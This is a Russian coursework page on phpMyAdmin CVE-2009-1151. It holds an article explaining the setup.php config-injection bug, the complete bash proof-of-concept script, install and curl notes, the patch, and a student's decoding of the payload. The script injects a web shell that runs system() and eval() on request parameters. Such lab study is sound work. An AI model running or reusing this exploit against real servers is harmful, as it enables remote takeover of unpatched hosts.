Информационная безопасность (МАИ)
скачать (21529.2 kb.)
Доступные файлы (10):
echo.c | |||
my_exploit.c | |||
phpMyAdmin.doc | 122kb. | 12.12.2010 18:39 | ![]() |
minimal2.pdf | 21kb. | 08.12.2010 20:01 | ![]() |
minimal.pdf | 51kb. | 08.12.2010 20:02 | ![]() |
month.pdf | 223kb. | 08.12.2010 19:42 | ![]() |
p2.py | |||
p3.py | |||
Исследование.doc | 213kb. | 15.12.2010 22:10 | ![]() |
report.doc | 155kb. | 05.01.2011 18:07 | ![]() |
содержание
- Смотрите также:
- Информационная безопасность (МАИ, только отчет) [ документ ]
- Информационная безопасность [ лекция ]
- Информационная безопасность (МАИ) [ документ ]
- Информационная безопасность (МАИ) [ документ ]
- IPS - Система предотвращения вторжений, в качестве прикладного скрипта [ документ ]
- IPS - Система предотвращения вторжений. Прикладной скрипт [ документ ]
- IPS - Система предотвращения вторжений. Прикладной скрипт [ документ ]
- Защита при помощи netfilter [ документ ]
- по дисциплине: «Информационная безопасность» На тему: «Информационная безопасность в юридической фирме «Fortuna mecum» [ документ ]
- IPS - Система предотвращения вторжений. Прикладной скрипт [ документ ]
- Конспект занятий по теме: «Информационная безопасность». Тема Основные виды угроз информационной безопасности [ документ ]
- Правовая информатика. Часть 6. Информационная безопасность [ лекция ]
phpMyAdmin.doc
http://www.magxak.ru/xa127/044/1.htm -- дырка в phpmyadmin 2009 года (исходное сообщение)
phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit
Brief:
Давно нас не баловали хорошими уязвимостями в популярных проектах. Сегодня я постараюсь это исправить. 4 июня багоискателям удалось обнаружить изъян в проекте phpMyAdmin, а именно в генераторе настроечных файлов «/scripts/setup.php». Суть бага довольно проста: в процессе установки phpMyAdmin происходит генерация основных параметров (хоста mysql, логина, пароля, названия базы и т.п.) с последующим их сохранением в «/config/config.inc.php». Так вот, до недавнего времени разработчики довольно аккуратно фильтровали нежелательный контент, но в последних версиях чуть-чуть изменили алгоритм. В итоге, злоумышленник может передать ядовитые параметры, позволяющие записать произвольный код в конфигурационный файл. Затем, по обращению к этому конфигу, хакер получит полноценный Web-шелл.
А теперь разберемся, как это происходит на самом деле. Вместе с прочими параметрами в значение переменной “host” инжектируется, к примеру, фраза «phpinfo();//localhost». На выходе получим вполне работоспособный сценарий, выводящий phpinfo(). Помимо прочего эксплойт позволяет внедрить «passthru()» для передачи команд Web-шеллу при помощи значения переменной «c».
Но не думай, что все так просто. Эксплойт накладывает некоторые ограничения на phpMyAdmin. Во-первых, нужно, чтобы администратор устанавливал проект через мастера, а не вручную. Во-вторых, необходимо наличие файла «scripts/setup.php», который почему-то (интересно, почему? :)) любят удалять. В-третьих, директория «config/» также должна присутствовать, а на файл «config.inc.php» должен быть установлен атрибут записи. В четвертых, на машине необходим работоспособный curl (с его помощью происходит инжектирование кода). И, наконец, уязвимыми версиями phpMyAdmin являются 2.11.x до 2.11.9.5 и 3.x до 3.1.3.1 (все релизы достаточно новые и выпускались до апреля этого года).
Как итог, хакер может без труда написать автосканер phpMyadmin и эксплуатировать каждый хост. На мой взгляд, вероятность успехи атаки недалека от 30%, а при таких раскладах, одна лишь ночь сканирования будет приносить взломщику море нелишних Web-шеллов.
Exploit:
Ниже приводится ключевая функция exploit(), отвечающая за инжект вредоносного кода.
function exploit {
postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"
postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"
flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
echo "[+] attempting to inject phpinfo() ..."
curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null
if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
then
curl -ks --url "$3/config/config.inc.php" >$flag
echo "[+] success! phpinfo() injected successfully! output saved on $flag"
curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
echo " $3/config/config.inc.php?c=ls+-l+/"
echo " $3/config/config.inc.php?p=phpinfo();"
echo " please send any feedback/improvements for this script to"\
"unknown.pentester<AT_sign__here>gmail.com"
else
echo "[+] no luck injecting to $3/config/config.inc.php :("
exit
fi
}
# end of exploit function
Если ты не поленишься написать простенький PHP-парсер передаваемых строк, то получишь посимвольную картину инжекта.
Полный код эксплойта можно скачать по ссылке securitylab.ru/poc/extra/381413.php.
Targets:
Уязвимыми версиями phpMyAdmin являются 2.11.x до 2.11.9.5 и 3.x до 3.1.3.1 (все релизы достаточно новые и выпускались до апреля этого года).
Solution:
Нависшую угрозу безопасности решит либо удаление файла «/scripts/setup.php», либо изолирование каталога «/config» вне Web-директории, либо (самый предпочтительный вариант) обновление phpMyAdmin до свежей версии. Последнее можно осуществить с официальной локации: sourceforge.net/projects/phpmyadmin.
http://php-myadmin.ru/doc/install.html -- установка phpMyAdmin
Быстрая установка
1. Распакуйте дистрибутив в корневую директорию вашего веб-сервера (убедитесь, что поддиректории распакованы тоже): tar -xzvf phpMyAdmin_x.x.x.tar.gz. Если Вы не имеете прямого доступа к корню вашего веб-пространства, распакуйте файлы в директорию на локальной машине и, после 3-го шага, скопируйте директорию на веб-сервер, например, через ftp.

2. Убедитесь, что все скрипты имеют соответствующего владельца (если PHP запущен в безопасном режиме, наличие нескольких скриптов, принадлежащих разным владельцам, вызовет проблему в работе). Смотри FAQ 4.2 и FAQ 1.26.

3. Теперь Вы должны создать конфигурационный файл (config.inc.php). Создание конфигурационного файла - необходимое условие прежде всего для запуска phpMyAdmin, а также необходимо для задания некоторых возможностей. Эта задача может быть выполнена двумя разными способами. Традиционно, пользователи могут вручную отредактировать копию файла config.inc.php. Кроме этого, пользователи, предпочитающие графическую инсталляцию, могут воспользоваться мастером установки (скриптом инсталляции).
Для того, чтобы вручную создать конфигурационный файл, достаточно простейшего текстового редактора, с помощью которого нужно создать файл config.inc.php. Для упрощения задачи, Вы можете скопировать в текстовый редактор содержимое файла config.sample.inc.php - образца рабочей конфигурации, содержащей минимальное количество конфигурационных переменных.
Созданный файл необходимо поместить в главную директорию phpMyAdmin (ту, которая содержит index.php). phpMyAdmin сперва загружает libraries/config.default.php, а затем подменяет значения прописанных в нем переменных теми, что находит в config.inc.php. Если значение по умолчанию (тех переменных, что определены в libraries/config.default.php) Вас устраивает, тогда нет необходимости включать его в config.inc.php. Для запуска phpMyAdmin вам понадобятся как минимум несколько директив, простейшая конфигурация может выглядеть так:
<?php $cfg['blowfish_secret'] = 'ba17c1ec07d65003'; // use here a value of your choice $i=0; $i++; $cfg['Servers'][$i]['auth_type'] = 'cookie'; ?> |
Или, если вы не хотите вводить каждый раз логин/пароль (данная конфигурация не рекомендуется из соображений безопасности), конфигурационный файл может выглядеть так:
<?php $i=0; $i++; $cfg['Servers'][$i]['user'] = 'root'; $cfg['Servers'][$i]['password'] = 'cbb74bc'; // use here your password ?> |
Для более полного ознакомления с функциями и описаниями значений всех конфигурационных переменных читайте раздел документации"Конфигурирование".
Вместо ручного редактирования файла config.inc.php, Вы можете использовать скрипт установки. Прежде всего, вам необходимо вручную создать в главной директории phpMyAdmin папку 'config'. Это - мера безопасности. При работе под ОС Linux/Unix Вы можете использовать следующие команды:
cd phpMyAdmin mkdir config # создает директорию для хранения chmod o+rw config # дает всем пользователям права на запись в неё |
Для редактирования уже существующего конфигурационного файла, можно воспользоваться следующими командами:
cp config.inc.php config/ # копирует текущую конфигурацию для редактирования chmod o+w config/config.inc.php # дает всем пользователям права на запись в неё |
На других платформах, просто создайте директорию и убедитесь, что Ваш веб-сервер имеет права на чтение и запись в неё. FAQ 1.26 может помочь в этом случае.
Затем, откройте в браузере scripts/setup.php. Помните, что изменения не будут сохранены на диск до тех пор, пока не будет нажата кнопка "Save" в блоке "Configuration". Если все хорошо, то скрипт сохранит новый config.inc.php в директорию config/, но если веб-сервер не имеет необходимых прав, Вы можете увидеть сообщение об ошибке "Cannot load or save configuration". В таком случае, убедитесь, что директория config/ создана и имеет необходимые права, либо воспользуйтесь ссылкой "Download" для сохранения конфигурационного файла на локальный диск и последующей закачки (например, через FTP) на сервер.
Как только файл был сохранен, необходимо переместить его из директории config/ в главную директорию phpMyAdmin и в целях безопасности сбросить права на него:
mv config/config.inc.php . # перемещает файл в текущую директорию chmod o-rw config.inc.php # отменяет права на чтение и запись для всех остальных пользователей |
Теперь файл готов к использованию. Вы можете просмотреть и отредактировать конфигурационный файл в текстовом редакторе, если потребуется установка некоторых расширенных опций, настройка которых не предусмотрена скриптом установки.
^
#!/bin/bash
# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!
# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)
# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)
# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/
if [[ $# -ne 1 ]]
then
echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
exit
fi
if ! which curl >/dev/null
then
echo "sorry but you need curl for this script to work!"
echo "on Debian/Ubuntu: sudo apt-get install curl"
exit
fi
function exploit {
postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"
postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"
flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
echo "[+] attempting to inject phpinfo() ..."
curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null
if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
then
curl -ks --url "$3/config/config.inc.php" >$flag
echo "[+] success! phpinfo() injected successfully! output saved on $flag"
curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
echo " $3/config/config.inc.php?c=ls+-l+/"
echo " $3/config/config.inc.php?p=phpinfo();"
echo " please send any feedback/improvements for this script to"\
"unknown.pentester<AT_sign__here>gmail.com"
else
echo "[+] no luck injecting to $3/config/config.inc.php :("
exit
fi
}
# end of exploit function
cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..."
#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &>/dev/null
then
length=`echo -n $token | wc -c`
# valid form token obtained?
if [[ $length -eq 32 ]]
then
echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
# attempt exploit!
exploit $token $cookiejar $1
else
echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
exit
fi
else
echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
exit
fi
http://www.cs.sunysb.edu/documentation/curl/index.html -- описание того, как пользоваться curl
^exploit $token $cookiejar $1
curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null
-k/--insecure
(SSL) This option explicitly allows curl to perform "insecure" SSL connections and transfers. All SSL connections are attempted to be made secure by using the CA certificate bundle installed by default. This makes all connections considered "insecure" fail unless -k/--insecure is used.
-s/--silent
Silent or quiet mode. Don't show progress meter or error messages. Makes Curl mute.
-b/--cookie <name=data>
(HTTP) Pass the data to the HTTP server as a cookie. It is supposedly the data previously received from the server in a "Set-Cookie:" line. The data should be in the format "NAME1=VALUE1; NAME2=VALUE2".
If no '=' symbol is used in the line, it is treated as a filename to use to read previously stored cookie lines from, which should be used in this session if they match. Using this method also activates the "cookie parser" which will make curl record incoming cookies too, which may be handy if you're using this in combination with the -L/--location option. The file format of the file to read cookies from should be plain HTTP headers or the Netscape/Mozilla cookie file format.
NOTE that the file specified with -b/--cookie is only used as input. No cookies will be stored in the file. To store cookies, use the -c/--cookie-jar option or you could even save the HTTP headers to a file using -D/--dump-header!
If this option is set more than once, the last one will be the one that's used.
-d/--data <data>
(HTTP) Sends the specified data in a POST request to the HTTP server, in the same way that a browser does when a user has filled in an HTML form and presses the submit button. This will cause curl to pass the data to the server using the content-type application/x-www-form-urlencoded. Compare to -F/--form.
-d/--data is the same as --data-ascii. To post data purely binary, you should instead use the --data-binary option. To URL-encode the value of a form field you may use --data-urlencode.
If any of these options is used more than once on the same command line, the data pieces specified will be merged together with a separating &-symbol. Thus, using '-d name=daniel -d skill=lousy' would generate a post chunk that looks like 'name=daniel&skill=lousy'.
If you start the data with the letter @, the rest should be a file name to read the data from, or - if you want curl to read the data from stdin. The contents of the file must already be URL-encoded. Multiple files can also be specified. Posting data from a file named 'foobar' would thus be done with --data @foobar.
--url <URL>
Specify a URL to fetch. This option is mostly handy when you want to specify URL(s) in a config file. This option may be used any number of times. To control where this URL is written, use the -o/--output or the -O/--remote-name options.
http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?revision=12301&view=revision – заплатка для уязвимости
Уязвимая версия phpMyAdmin 2.11.9.3 была скачана по адресу http://www.oldapps.com/phpmyadmin.php?old_phpmyadmin=3#Download

Заплатка заключается в замене всех недокументированных букв в передаваемых ключах на безвредный символ «_».
Распарсенный вариант эксплойта
postdata="token=$1&action=save&configuration="\
"a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:23:"host']="\
"''; phpinfo();//";s:9:"localhost";s:9:"\
""extension";s:6:"mysqli";s:12:"connect_type";s:3:"\
""tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"\
""config";s:4:"user";s:4:"root";}}}&eoltype=unix"
postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:"Servers";a:1:{i:0;a:6:{s:136:"host']="\
"''; if(\$_GET['c']){echo '<pre>';"\
"system(\$_GET['c']);echo '</pre>';}"\
"if(\$_GET['p']){echo '<pre>';eval"\
"(\$_GET['p']);echo '</pre>';};//"\
"";s:9:"localhost";s:9:"extension";s:6:""\
"mysqli";s:12:"connect_type";s:3:"tcp";s:8:"\
""compress";b:0;s:9:"auth_type";s:6:"config"\
"";s:4:"user";s:4:"root";}}}&eoltype=unix"
Судя по всему, в postdata содержится первая часть эксплойта, котрая пишет phpinfo();//, а в postdata2 вторая, которая дописывает код выполнения того, что содержится в переменных c и p. Понять, что же все-таки происходит, поможет практика.
Установка linux apache mysql php
http://www.yaap.info/page/ustanovka-i-nastrojka-lamp-linuxapachemysqlphp-v-ubuntu
sudo apt-get install apache2 php5 php5-mysql mysql-server-5.0
Пароль для mysql 111.
http://localhost php и mysql работает.
Скачать файл (21529.2 kb.)